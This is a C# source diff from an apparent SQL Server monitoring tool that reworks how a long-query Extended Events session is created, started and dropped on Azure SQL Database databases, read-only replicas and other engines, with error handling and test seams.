+    /// <see cref="LongQueryCompletionsCollector.SkipsSeparatelyMonitoredDatabases"/>). Returns the monitored
+    /// databases on Azure SQL DB, for the drop outside that set; null on every other engine.
+    /// <paramref name="createRepeats"/> is true once a create has warned for this server (#4964): the Azure arm's own
+    /// failure lines, and the shared ensure's, then log at Debug.
     /// </summary>
-    public async Task EnsureLongQueryCompletionsXeSessionAsync(ServerConnection server, CancellationToken cancellationToken = default)
+    private async Task<List<string>?> EnsureLongQueryCompletionsXeSessionAsync(
+        ServerConnection server, string sessionName, bool isAzureSqlDatabase, IReadOnlyList<string> separatelyMonitored, bool createRepeats,
+        LongQueryReconcilePass pass, bool afterTheCap, CancellationToken cancellationToken)
     {
-        var engineEdition = _serverManager.GetConnectionStatus(server.Id).SqlEngineEdition;
-
-        if (engineEdition == 5)
+        if (isAzureSqlDatabase)
         {
+            List<string> monitored;
+            try
+            {
+                monitored = await ListLongQueryTraceDatabasesAsync(server, allDatabases: false, cancellationToken);
+            }
+            catch (SqlException ex)
+            {
+                var listingFailure = $"[{server.DisplayName}] Failed to enumerate databases for long query completions XE sessions: {ex.Message}";
+                if (createRepeats)
+                {
+                    AppLogger.Debug("XeSession", listingFailure);
+                }
+                else
+                {
+                    AppLogger.Error("XeSession", listingFailure);
+                }
+
+                throw new XeSessionEnsureException("long query completions", ex);
+            }
+
+            /* #4961: in each database the legacy drop runs before this install's create, so it frees a slot there. A failure is
+               kept, and the create still runs. */
+            await RunLegacyLongQuerySessionAsync(server, pass, isAzureSqlDatabase: true, afterTheCap, cancellationToken);
+
+            var create = LongQueryTraceDatabases.Plan(enabled: true, Array.Empty<string>(), monitored, separatelyMonitored, keptElsewhere: Array.Empty<string>()).Create;
+
+            /* A test replaces the work in each database (LongQueryTraceDatabaseOverrideForTests), and the shared ensure
+               still drives it: the same per-database isolation, log lines and all-refused throw as in production. Below
+               it, a test replaces each step's open and work (LongQueryTraceStepOverrideForTests), and sees the connection
+               string the step would have opened (#4961). */
+            var createInDatabase = LongQueryTraceDatabaseOverrideForTests;
+            var stepInDatabase = LongQueryTraceStepOverrideForTests;
             await EnsureDatabaseScopedXeSessionsAsync(
-                server, "long query completions", LongQueryXeSessionName,
-                EnsureLongQueryCompletionsXeSessionAzureSqlDbAsync, cancellationToken);
-            return;
+                server, "long query completions", sessionName,
+                (connection, token) => new SqlConnectionStringBuilder(connection.ConnectionString).ApplicationIntent == ApplicationIntent.ReadOnly
+                    ? EnsureLongQueryCompletionsXeSessionReadOnlyIntentAsync(connection, server, connection.Database, sessionName, null, token)
+                    : EnsureLongQueryCompletionsXeSessionAzureSqlDbAsync(server, connection, sessionName, token),
+                create, cancellationToken,
+                repeatsAtDebug: createRepeats,
+                explainRefusal: ex => IsReadOnlyDatabaseRefusal(ex) ? LongQueryTraceDatabases.ReadOnlyDatabaseMessage() : null,
+                ensureInDatabase: createInDatabase is not null
+                    ? async (databaseName, token) =>
+                    {
+                        await createInDatabase(server, databaseName, true, sessionName, token);
+                        LookForLegacyLongQuerySessionForTests(server, databaseName);
+                    }
+                    : stepInDatabase is not null
+                        ? (databaseName, token) => RunLongQueryTraceStepsAsync(server, databaseName, sessionName, stepInDatabase, token)
+                        : null);
+
+            return monitored;
+        }
+
+        /* #4961: the legacy drop first, with its failure kept, so this install's own session is still ensured. */
+        await RunLegacyLongQuerySessionAsync(server, pass, isAzureSqlDatabase: false, afterTheCap, cancellationToken);
+
+        /* A test replaces the server-scoped create, called with no database name. Null in production. */
+        if (LongQueryTraceDatabaseOverrideForTests is { } createOnServer)
+        {
+            await createOnServer(server, string.Empty, true, sessionName, cancellationToken);
+            LookForLegacyLongQuerySessionForTests(server, string.Empty);
+            return null;
+        }
+
+        /* Below it, a test replaces the open and the work, and sees the registration's own connection string (#4961). */
+        if (LongQueryTraceStepOverrideForTests is { } stepOnServer)
+        {
+            await stepOnServer(server, string.Empty, RegistrationConnectionString(server), LongQueryTraceStep.CreateAndStart, sessionName, cancellationToken);
+            return null;
         }
 
         using var connection = await CreateConnectionAsync(server, cancellationToken);
-        await EnsureLongQueryCompletionsXeSessionOnPremAsync(connection, server, cancellationToken);
+        await EnsureLongQueryCompletionsXeSessionOnPremAsync(connection, server, sessionName, cancellationToken);
+        return null;
     }
 
-    private async Task EnsureLongQueryCompletionsXeSessionOnPremAsync(SqlConnection connection, ServerConnection server, CancellationToken cancellationToken)
+    /// <summary>Whether the connection string asks for read-only intent (#4961).</summary>
+    internal static bool HasReadOnlyIntent(string connectionString) =>
+        new SqlConnectionStringBuilder(connectionString).ApplicationIntent == ApplicationIntent.ReadOnly;
+
+    /// <summary>
+    /// The steps one Azure SQL Database database's drop takes for a registration, in order, with the connection string each
+    /// one opens (#4961). A session that runs on a read-only replica is stopped over a connection to that replica, and only
+    /// then dropped over a connection to the primary: so a registration with read-only intent stops it over its own
+    /// connection and drops it over one without the intent, and every other registration drops it once over its own. Pure,
+    /// so the production drop and the test seam read the same plan.
+    /// </summary>
+    internal static IReadOnlyList<(LongQueryTraceStep Step, string ConnectionString)> LongQueryTraceDropStepsFor(string ownConnectionString)
+    {
+        if (!HasReadOnlyIntent(ownConnectionString))
+        {
+            return new[] { (LongQueryTraceStep.Drop, ownConnectionString) };
+        }
+
+        var withoutIntent = new SqlConnectionStringBuilder(ownConnectionString) { ApplicationIntent = ApplicationIntent.ReadWrite };
+        return new[]
+        {
+            (LongQueryTraceStep.Stop, ownConnectionString),
+            (LongQueryTraceStep.Drop, withoutIntent.ConnectionString),
+        };
+    }
+
+    /// <summary>
+    /// Drops one session in one Azure SQL Database database (#4961), over the steps <see cref="LongQueryTraceDropStepsFor"/>
+    /// plans: a registration with read-only intent stops it over its own connection, then drops it over one without the
+    /// intent; every other registration drops it once over its own. A test replaces each step's open and work
+    /// (<see cref="LongQueryTraceStepOverrideForTests"/>).
+    /// </summary>
+    private async Task DropAzureSessionInDatabaseAsync(ServerConnection server, string databaseName, string sessionName, CancellationToken cancellationToken)
+    {
+        /* Hyperscale limit (#4961): with several high-availability replicas, a read-only connection lands on one replica the app
+           cannot choose, so this stop reaches only that one, and a copy of the session that runs on another replica is not stopped.
+           Microsoft Learn describes no way to address one HA replica; it says the read-intent workload is "distributed arbitrarily
+           across all available HA replicas": https://learn.microsoft.com/azure/azure-sql/database/service-tier-hyperscale-replicas#connect-to-an-ha-replica */
+        foreach (var (step, connectionString) in LongQueryTraceDropStepsFor(AzureDatabaseConnectionString(server, databaseName)))
+        {
+            if (LongQueryTraceStepOverrideForTests is { } stepOverride)
+            {
+                await stepOverride(server, databaseName, connectionString, step, sessionName, cancellationToken);
+                continue;
+            }
+
+            using var connection = await OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken, withoutReadOnlyIntent: step == LongQueryTraceStep.Drop);
+            using var command = new SqlCommand(
+                step == LongQueryTraceStep.Stop
+                    ? LongQueryCompletionsCollector.BuildStopSessionSql(sessionName)
+                    : LongQueryCompletionsCollector.BuildDropSessionSql(sessionName, databaseScoped: true),
+                connection);
+            command.CommandTimeout = CommandTimeoutSeconds;
+            await command.ExecuteNonQueryAsync(cancellationToken);
+        }
+    }
+
+    /* #4961: the servers whose create a read-only database refused (error 3906), with the state key the refusal was made
+       under and when. A read-only database stays read-only until the registration or the database changes, so the create
+       is not tried again for an hour, or sooner when the state key changes. The kept fault stays, so every run still
+       records it. In memory, so a restart tries again. */
+    private readonly ConcurrentDictionary<string, (string StateKey, DateTime AtUtc)> _longQueryTraceReadOnlyRefused = new();
+
+    /// <summary>
+    /// #5378: whether a permission denial stops the create of the long-query session, for the same lifetime as the PERMISSIONS
+    /// suppression every collector gets (<see cref="IsCollectorPermissionRestricted"/>): the rest of the app session, cleared
+    /// on a restart and, for a removed server, with its health. It holds in two cases. The collector's run recorded PERMISSIONS
+    /// (the flag). Or the reconcile itself was denied and the run that records it has not come yet (the kept fault is a
+    /// permission denial): the run is dispatched on its own interval, and the DDL must not repeat while it waits. Turning the
+    /// trace off clears the kept fault, so turning it on again tries once; the flag, like every collector's, waits for a restart.
+    /// </summary>
+    private bool LongQueryTracePermissionDenialHolds(ServerConnection server) =>
+        IsCollectorPermissionRestricted(GetServerId(server), LongQueryCompletionsCollector.Instance.Name)
+        || (_longQueryTraceFault.TryGetValue(server.Id, out var fault)
+            && ErrorNumbersOf(fault).Any(SqlServerPermissionErrors.IsPermissionDenied));
+
+    private bool LongQueryTraceReadOnlyRefusalHolds(string serverId, string stateKey, DateTime utcNow) =>
+        _longQueryTraceReadOnlyRefused.TryGetValue(serverId, out var refused)
+        && string.Equals(refused.StateKey, stateKey, StringComparison.Ordinal)
+        && utcNow - refused.AtUtc < LongQueryTraceDatabases.RetryInterval;
+
+    /// <summary>
+    /// Whether a failed create is a read-only database's refusal (error 3906): the error itself, or the one an ensure
+    /// exception wraps (#4961).
+    /// </summary>
+    internal static bool IsReadOnlyDatabaseRefusal(Exception? ex) =>
+        LongQueryTraceDatabases.IsReadOnlyDatabaseRefusal(ErrorNumbersOf(ex));
+
+    /// <summary>
+    /// The numbers of the SQL errors a failure carries: its own and those of the exceptions it wraps. The shared project has
+    /// no SqlClient, so each app reads them off its own exception (#4961).
+    /// </summary>
+    internal static List<int> ErrorNumbersOf(Exception? ex)
+    {
+        var numbers = new List<int>();
+        for (var current = ex; current is not null; current = current.InnerException)
+        {
+            if (current is SqlException sql)
+            {
+                numbers.AddRange(sql.Errors.Cast<SqlError>().Select(e => e.Number));
+            }
+        }
+
+        return numbers;
+    }
+
+    /// <summary>
+    /// #4961: marks the failure of one create or start of the long-query session in an Azure SQL Database, so the failure line,
+    /// the all-refused exception's message and the fault the run records carry the caps sentence
+    /// (<see cref="AlwaysOnXeSessions.AzureCapsSentence"/>), as the deadlock and blocked-process sessions' do. The engine's
+    /// "already there" is no failure, and a read-only database's refusal says its own reason, so neither is marked. Called only
+    /// on the Azure SQL Database arm: no cap limits the server-scoped session of any other engine.
+    /// </summary>
+    private static void MarkLongQueryAzureFailure(Exception ex)
+    {
+        if (ex is SqlException sql && IsBenignXeSessionAlreadyPresent(sql))
+        {
+            return;
+        }
+
+        AlwaysOnXeSessions.MarkAzureCapsFailure(ex, ErrorNumbersOf(ex));
+    }
+
+    /// <summary>Runs one create or start statement of the Azure per-database ensure, and marks its failure (<see cref="MarkLongQueryAzureFailure"/>).</summary>
+    private static async Task ExecuteLongQueryAzureDdlAsync(SqlCommand command, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await command.ExecuteNonQueryAsync(cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            MarkLongQueryAzureFailure(ex);
+            throw;
+        }
+    }
+
+    /// <summary>
+    /// The Azure SQL Database create for a registration with read-only intent in one database (#4961). Over its own
+    /// connection, one batch reads whether the definition is visible on its replica, whether the session runs there, and the
+    /// legacy probe. The definition is created over a connection without the intent only when the replica shows none: a
+    /// session cannot be created on a read-only replica, and the definition replicates from the primary. The session is
+    /// started over the registration's own connection when it does not run there, because run state is per replica. So a
+    /// cycle where the definition exists and the session runs opens only the registration's own connection. With
+    /// <paramref name="step"/> set, a test replaces each step's open and work, and what the check reads
+    /// (<see cref="LongQueryTraceReplicaStateForTests"/>); <paramref name="connection"/> is then null.
+    /// <para>The replica may not show a definition this cycle created yet. A start it then refuses with
+    /// <see cref="LongQueryTraceDatabases.EventSessionNotVisibleErrorNumber"/> is logged at Debug and records no fault: the
+    /// next cycle checks again and starts the session. Any other refusal, and the same refusal after a definition the replica
+    /// already showed, is a failure like any other.</para>
+    /// </summary>
+    private async Task EnsureLongQueryCompletionsXeSessionReadOnlyIntentAsync(
+        SqlConnection? connection,
+        ServerConnection server,
+        string databaseName,
+        string sessionName,
+        Func<ServerConnection, string, string, LongQueryTraceStep, string, CancellationToken, Task>? step,
+        CancellationToken cancellationToken)
+    {
+        var own = AzureDatabaseConnectionString(server, databaseName);
+
+        LongQueryTraceReplicaState replica;
+        if (step is not null)
+        {
+            await step(server, databaseName, own, LongQueryTraceStep.Check, sessionName, cancellationToken);
+            replica = LongQueryTraceReplicaStateForTests?.Invoke(server, databaseName) ?? default;
+            LookForLegacyLongQuerySessionForTests(server, databaseName);
+        }
+        else
+        {
+            replica = await CheckLongQueryCompletionsReplicaAsync(connection!, server, sessionName, cancellationToken);
+        }
+
+        var created = false;
+        if (!replica.DefinitionExists)
+        {
+            try
+            {
+                if (step is not null)
+                {
+                    await RunLongQueryTraceStepAsync(step, server, databaseName, AzureDatabaseConnectionString(server, databaseName, withoutReadOnlyIntent: true), LongQueryTraceStep.CreateDefinition, sessionName, cancellationToken);
+                    created = true;
+                }
+                else
+                {
+                    using var definition = await OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken, withoutReadOnlyIntent: true);
+                    created = await CreateLongQueryCompletionsDefinitionAzureSqlDbAsync(definition, sessionName, cancellationToken);
+                }
+            }
+            catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
+            {
+                /* Already present per the engine: the reader tolerates it (#1251). */
+            }
+        }
+        else if (replica.Running)
+        {
+            return;
+        }
+
+        try
+        {
+            if (step is not null)
+            {
+                await RunLongQueryTraceStepAsync(step, server, databaseName, own, LongQueryTraceStep.Start, sessionName, cancellationToken);
+            }
+            else
+            {
+                await StartLongQueryCompletionsXeSessionReadOnlyIntentAsync(connection!, sessionName, cancellationToken);
+            }
+        }
+        catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
+        {
+            /* Already started per the engine: the reader tolerates it (#1251). */
+        }
+        catch (Exception ex) when (created && ex is not OperationCanceledException && LongQueryTraceDatabases.IsEventSessionNotVisible(ErrorNumbersOf(ex)))
+        {
+            AppLogger.Debug("XeSession", $"[{server.DisplayName}] [{databaseName}] The replica does not show the long-query completion XE session's definition yet, so the start waits for the next cycle: {ex.Message}");
+        }
+    }
+
+    /// <summary>
+    /// One batch over the registration's own connection: whether the session's definition is visible on its replica, whether the
+    /// session runs there, and whether an older install created the legacy session again (#4961).
+    /// </summary>
+    private async Task<LongQueryTraceReplicaState> CheckLongQueryCompletionsReplicaAsync(SqlConnection connection, ServerConnection server, string sessionName, CancellationToken cancellationToken)
+    {
+        using var cmd = new SqlCommand(@"
+SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
+
+SELECT /* PerformanceMonitorLite */
+    definition_exists = CASE WHEN EXISTS (SELECT 1/0 FROM sys.database_event_sessions AS des WHERE des.name = @session_name) THEN 1 ELSE 0 END,
+    is_running = CASE WHEN EXISTS (SELECT 1/0 FROM sys.dm_xe_database_sessions AS xes WHERE xes.name = @session_name) THEN 1 ELSE 0 END;" + LegacyLongQuerySessionDatabaseProbeSql, connection);
+        cmd.CommandTimeout = CommandTimeoutSeconds;
+        cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
+        cmd.Parameters.Add(LegacyLongQuerySessionProbeParameter(server, connection.Database));
+
+        var definitionExists = false;
+        var running = false;
+        using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+        if (await reader.ReadAsync(cancellationToken))
+        {
+            definitionExists = reader.GetInt32(0) == 1;
+            running = reader.GetInt32(1) == 1;
+        }
+
+        if (await reader.NextResultAsync(cancellationToken) && await reader.ReadAsync(cancellationToken))
+        {
+            ReportLegacyLongQuerySessionFound(server, connection.Database);
+        }
+
+        return new LongQueryTraceReplicaState(definitionExists, running);
+    }
+
+    private async Task StartLongQueryCompletionsXeSessionReadOnlyIntentAsync(SqlConnection connection, string sessionName, CancellationToken cancellationToken)
+    {
+        using var startCmd = new SqlCommand($@"
+IF NOT EXISTS
+(
+    SELECT
+        1/0
+    FROM sys.dm_xe_database_sessions AS xes
+    WHERE xes.name = N'{sessionName}'
+)
+BEGIN
+    {LongQueryCompletionsCollector.BuildStartSessionSql(sessionName, databaseScoped: true)}
+END;", connection);
+        startCmd.CommandTimeout = CommandTimeoutSeconds;
+        await ExecuteLongQueryAzureDdlAsync(startCmd, cancellationToken);
+        AppLogger.Debug("XeSession", $"[Azure SQL DB:{connection.Database}] Long-query completion XE session verified over the read-only connection (database-scoped)");
+    }
+
+    /// <summary>
+    /// Creates the session's definition when the connection shows none, and does not start it. Returns true when it created one,
+    /// false when the definition was already there.
+    /// </summary>
+    private async Task<bool> CreateLongQueryCompletionsDefinitionAzureSqlDbAsync(SqlConnection connection, string sessionName, CancellationToken cancellationToken)
+    {
+        using (var cmd = new SqlCommand(@"
+SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
+
+SELECT /* PerformanceMonitorLite */
+    session_state = des.name
+FROM sys.database_event_sessions AS des
+WHERE des.name = @session_name;", connection))
+        {
+            cmd.CommandTimeout = CommandTimeoutSeconds;
+            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
+            if (await cmd.ExecuteScalarAsync(cancellationToken) != null)
+            {
+                return false;
+            }
+        }
+
+        try
+        {
+            using var createCmd = new SqlCommand(
+                LongQueryCompletionsCollector.BuildCreateSessionSql(sessionName, databaseScoped: true, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds), connection);
+            createCmd.CommandTimeout = CommandTimeoutSeconds;
+            await ExecuteLongQueryAzureDdlAsync(createCmd, cancellationToken);
+        }
+        catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
+        {
+            return false;
+        }
+
+        AppLogger.Info("XeSession", $"[Azure SQL DB:{connection.Database}] Created the long-query completion XE session's definition over a connection without read-only intent (database-scoped)");
+        return true;
+    }
+
+    /// <summary>
+    /// A test's stand-in for the Azure per-database ensure: each step the registration takes in the database, handed to
+    /// <see cref="LongQueryTraceStepOverrideForTests"/> with the connection string it would open.
+    /// </summary>
+    private async Task RunLongQueryTraceStepsAsync(
+        ServerConnection server,
+        string databaseName,
+        string sessionName,
+        Func<ServerConnection, string, string, LongQueryTraceStep, string, CancellationToken, Task> step,
+        CancellationToken cancellationToken)
+    {
+        var own = AzureDatabaseConnectionString(server, databaseName);
+        if (HasReadOnlyIntent(own))
+        {
+            await EnsureLongQueryCompletionsXeSessionReadOnlyIntentAsync(connection: null, server, databaseName, sessionName, step, cancellationToken);
+            return;
+        }
+
+        await RunLongQueryTraceStepAsync(step, server, databaseName, own, LongQueryTraceStep.CreateAndStart, sessionName, cancellationToken);
+    }
+
+    /// <summary>
+    /// A test's stand-in for one create or start statement: the step handed to <see cref="LongQueryTraceStepOverrideForTests"/>
+    /// with the connection string it would open. Its failure is marked like the statement's (<see cref="MarkLongQueryAzureFailure"/>).
+    /// </summary>
+    private static async Task RunLongQueryTraceStepAsync(
+        Func<ServerConnection, string, string, LongQueryTraceStep, string, CancellationToken, Task> step,
+        ServerConnection server,
+        string databaseName,
+        string connectionString,
+        LongQueryTraceStep kind,
+        string sessionName,
+        CancellationToken cancellationToken)
+    {
+        try
+        {
+            await step(server, databaseName, connectionString, kind, sessionName, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            MarkLongQueryAzureFailure(ex);
+            throw;
+        }
+    }
+
+    private async Task EnsureLongQueryCompletionsXeSessionOnPremAsync(SqlConnection connection, ServerConnection server, string sessionName, CancellationToken cancellationToken)
     {
         using (var cmd = new SqlCommand(@"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
@@ -136,17 +822,26 @@ private async Task EnsureLongQueryCompletionsXeSessionOnPremAsync(SqlConnection
 FROM sys.server_event_sessions AS ses
 LEFT JOIN sys.dm_xe_sessions AS dxs
   ON dxs.name = ses.name
-WHERE ses.name = @session_name;", connection))
+WHERE ses.name = @session_name;" + LegacyLongQuerySessionServerProbeSql, connection))
         {
             cmd.CommandTimeout = CommandTimeoutSeconds;
-            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = LongQueryXeSessionName });
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
+            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
+            cmd.Parameters.Add(LegacyLongQuerySessionProbeParameter(server, string.Empty));
+            object? result;
+            using (var reader = await cmd.ExecuteReaderAsync(cancellationToken))
+            {
+                result = await reader.ReadAsync(cancellationToken) ? reader.GetValue(0) : null;
+                if (await reader.NextResultAsync(cancellationToken) && await reader.ReadAsync(cancellationToken))
+                {
+                    ReportLegacyLongQuerySessionFound(server, string.Empty);
+                }
+            }
 
             if (result != null)
             {
                 if (result is int isRunning && isRunning == 0)
                 {
-                    using var startCmd = new SqlCommand(LongQueryCompletionsCollector.BuildStartSessionSql(databaseScoped: false), connection);
+                    using var startCmd = new SqlCommand(LongQueryCompletionsCollector.BuildStartSessionSql(sessionName, databaseScoped: false), connection);
                     startCmd.CommandTimeout = CommandTimeoutSeconds;
                     await startCmd.ExecuteNonQueryAsync(cancellationToken);
                     AppLogger.Info("XeSession", $"[{server.DisplayName}] Started long-query completion XE session");
@@ -156,14 +851,14 @@ LEFT JOIN sys.dm_xe_sessions AS dxs
         }
 
         using var createCmd = new SqlCommand(
-            LongQueryCompletionsCollector.BuildCreateSessionSql(databaseScoped: false, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds)
-            + "\n\n" + LongQueryCompletionsCollector.BuildStartSessionSql(databaseScoped: false), connection);
+            LongQueryCompletionsCollector.BuildCreateSessionSql(sessionName, databaseScoped: false, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds)
+            + "\n\n" + LongQueryCompletionsCollector.BuildStartSessionSql(sessionName, databaseScoped: false), connection);
         createCmd.CommandTimeout = CommandTimeoutSeconds;
         await createCmd.ExecuteNonQueryAsync(cancellationToken);
         AppLogger.Info("XeSession", $"[{server.DisplayName}] Created and started long-query completion XE session (duration >= {LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds} us)");
     }
 
-    private async Task EnsureLongQueryCompletionsXeSessionAzureSqlDbAsync(SqlConnection connection, CancellationToken cancellationToken)
+    private async Task EnsureLongQueryCompletionsXeSessionAzureSqlDbAsync(ServerConnection server, SqlConnection connection, string sessionName, CancellationToken cancellationToken)
     {
         using (var cmd = new SqlCommand(@"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
@@ -171,11 +866,20 @@ private async Task EnsureLongQueryCompletionsXeSessionAzureSqlDbAsync(SqlConnect
 SELECT /* PerformanceMonitorLite */
     session_state = des.name
 FROM sys.database_event_sessions AS des
-WHERE des.name = @session_name;", connection))
+WHERE des.name = @session_name;" + LegacyLongQuerySessionDatabaseProbeSql, connection))
         {
             cmd.CommandTimeout = CommandTimeoutSeconds;
-            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = LongQueryXeSessionName });
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
+            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
+            cmd.Parameters.Add(LegacyLongQuerySessionProbeParameter(server, connection.Database));
+            object? result;
+            using (var reader = await cmd.ExecuteReaderAsync(cancellationToken))
+            {
+                result = await reader.ReadAsync(cancellationToken) ? reader.GetValue(0) : null;
+                if (await reader.NextResultAsync(cancellationToken) && await reader.ReadAsync(cancellationToken))
+                {
+                    ReportLegacyLongQuerySessionFound(server, connection.Database);
+                }
+            }
 
             if (result != null)
             {
@@ -185,23 +889,23 @@ IF NOT EXISTS
     SELECT
         1/0
     FROM sys.dm_xe_database_sessions AS xes
-    WHERE xes.name = N'{LongQueryXeSessionName}'
+    WHERE xes.name = N'{sessionName}'
 )
 BEGIN
-    ALTER EVENT SESSION [{LongQueryXeSessionName}] ON DATABASE STATE = START;
+    ALTER EVENT SESSION [{sessionName}] ON DATABASE STATE = START;
 END;", connection);
                 startCmd.CommandTimeout = CommandTimeoutSeconds;
-                await startCmd.ExecuteNonQueryAsync(cancellationToken);
+                await ExecuteLongQueryAzureDdlAsync(startCmd, cancellationToken);
                 AppLogger.Debug("XeSession", $"[Azure SQL DB:{connection.Database}] Long-query completion XE session verified (database-scoped)");
                 return;
             }
         }
 
         using var createCmd = new SqlCommand(
-            LongQueryCompletionsCollector.BuildCreateSessionSql(databaseScoped: true, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds)
-            + "\n\n" + LongQueryCompletionsCollector.BuildStartSessionSql(databaseScoped: true), connection);
+            LongQueryCompletionsCollector.BuildCreateSessionSql(sessionName, databaseScoped: true, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds)
+            + "\n\n" + LongQueryCompletionsCollector.BuildStartSessionSql(sessionName, databaseScoped: true), connection);
         createCmd.CommandTimeout = CommandTimeoutSeconds;
-        await createCmd.ExecuteNonQueryAsync(cancellationToken);
+        await ExecuteLongQueryAzureDdlAsync(createCmd, cancellationToken);
         AppLogger.Info("XeSession", $"[Azure SQL DB:{connection.Database}] Created and started long-query completion XE session (database-scoped)");
     }
 
@@ -209,55 +913,443 @@ FROM sys.dm_xe_database_sessions AS xes
     /// Drops the long-query completion XE session (the opt-out path — disabling the collector removes
     /// the server-side session, the actual busy-server cost). Idempotent: the shared DROP DDL is
     /// guarded by an existence check, so a server that never had the session is a clean no-op. On Azure
-    /// SQL DB the drop runs per monitored database (master skipped), matching where the sessions live.
+    /// SQL DB the drop runs in every listed database, exclusions included, except master, a database monitored as
+    /// its own server, and a database where another registration keeps the session
+    /// (<see cref="LongQueryTraceDatabases.Plan"/>). There a failure throws <see cref="LongQueryTraceDropException"/>
+    /// after every database was tried, so the reconcile retries it. On every other engine the drop of the server's session
+    /// throws it too (<see cref="LongQueryTraceDropException.ForServer"/>), so the same cap applies.
     /// </summary>
-    public async Task DropLongQueryCompletionsXeSessionAsync(ServerConnection server, CancellationToken cancellationToken = default)
+    private async Task DropLongQueryCompletionsXeSessionAsync(
+        ServerConnection server,
+        string sessionName,
+        bool isAzureSqlDatabase,
+        IReadOnlyList<string> separatelyMonitored,
+        Func<IEnumerable<string>, IReadOnlyList<string>> keptElsewhere,
+        bool afterTheCap,
+        LongQueryReconcilePass pass,
+        CancellationToken cancellationToken,
+        bool ofARemovedServer = false)
     {
-        var engineEdition = _serverManager.GetConnectionStatus(server.Id).SqlEngineEdition;
-
-        if (engineEdition == 5)
+        if (isAzureSqlDatabase)
         {
-            List<string> databases;
+            var listed = await pass.ListedAsync();
+            await RunLegacyLongQuerySessionAsync(server, pass, isAzureSqlDatabase: true, afterTheCap, cancellationToken);
+            var plan = LongQueryTraceDatabases.Plan(enabled: false, listed, Array.Empty<string>(), separatelyMonitored, keptElsewhere(listed));
             try
             {
-                databases = await GetAzureDatabaseListAsync(server, cancellationToken);
+                await DropLongQueryTraceInEachAsync(server, sessionName, plan.Drop, afterTheCap, cancellationToken);
             }
-            catch (SqlException ex)
+            catch (LongQueryTraceDropException own) when (pass.LegacyFailure is not null)
             {
-                AppLogger.Warn("XeSession", $"[{server.DisplayName}] Could not enumerate databases to drop the long-query completion XE session: {ex.Message}");
-                return;
+                throw MergeLongQueryTraceDropFailures(pass.LegacyFailure, own);
+            }
+
+            pass.ThrowLegacyFailure();
+            return;
+        }
+
+        await RunLegacyLongQuerySessionAsync(server, pass, isAzureSqlDatabase: false, afterTheCap, cancellationToken);
+
+        /* #4964: a failure here is a failed drop like the Azure arm's, so it reaches the reconcile's cap as one. Left as it
+           was, it landed in the general catch, which warns on every cycle with no end while the trace is off. */
+        try
+        {
+            /* A test replaces the server-scoped drop, called with no database name. Null in production. */
+            if (LongQueryTraceDatabaseOverrideForTests is { } dropOnServer)
+            {
+                await dropOnServer(server, string.Empty, false, sessionName, cancellationToken);
+            }
+            else if (LongQueryTraceStepOverrideForTests is { } stepOnServer)
+            {
+                /* Below it, a test replaces the open and the work, and sees the registration's own connection string (#4961). */
+                await stepOnServer(server, string.Empty, RegistrationConnectionString(server), LongQueryTraceStep.Drop, sessionName, cancellationToken);
             }
+            else
+            {
+                using var conn = await CreateConnectionAsync(server, cancellationToken);
+                using var cmd = new SqlCommand(LongQueryCompletionsCollector.BuildDropSessionSql(sessionName, databaseScoped: false), conn);
+                cmd.CommandTimeout = CommandTimeoutSeconds;
+                await cmd.ExecuteNonQueryAsync(cancellationToken);
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            throw LongQueryTraceDropException.ForServer(ex);
+        }
+
+        pass.ThrowLegacyFailure();
+        if (!ofARemovedServer)
+        {
+            AppLogger.Info("XeSession", $"[{server.DisplayName}] Long-query completion XE session reconciled OFF (collector disabled)");
+        }
+    }
+
+    /// <summary>
+    /// Replaces the database list the long-query trace reads on Azure SQL Database. Called with
+    /// <c>allDatabases</c> true for every online database, false for the monitored ones. Null in production.
+    /// </summary>
+    internal Func<ServerConnection, bool, CancellationToken, Task<List<string>>>? LongQueryTraceListOverrideForTests { get; set; }
+
+    /// <summary>
+    /// Replaces the long-query trace's work in one Azure SQL Database database: called with <c>create</c> true to
+    /// create the session there, false to drop it. On every other engine the session is the server's, and it is
+    /// called with an empty database name. The fourth argument is the session name the work would have named (#4961).
+    /// Null in production.
+    /// </summary>
+    internal Func<ServerConnection, string, bool, string, CancellationToken, Task>? LongQueryTraceDatabaseOverrideForTests { get; set; }
+
+    /// <summary>
+    /// Replaces one open-and-act step of the long-query trace's create, below
+    /// <see cref="LongQueryTraceDatabaseOverrideForTests"/>, which wins when both are set (#4961). Called with the server,
+    /// the database (empty for the server's own session), the connection string the step would open, the step, and the
+    /// session name. A test sees which connection each step uses, with or without read-only intent. The step's work is
+    /// not done. Null in production.
+    /// </summary>
+    internal Func<ServerConnection, string, string, LongQueryTraceStep, string, CancellationToken, Task>? LongQueryTraceStepOverrideForTests { get; set; }
+
+    /// <summary>
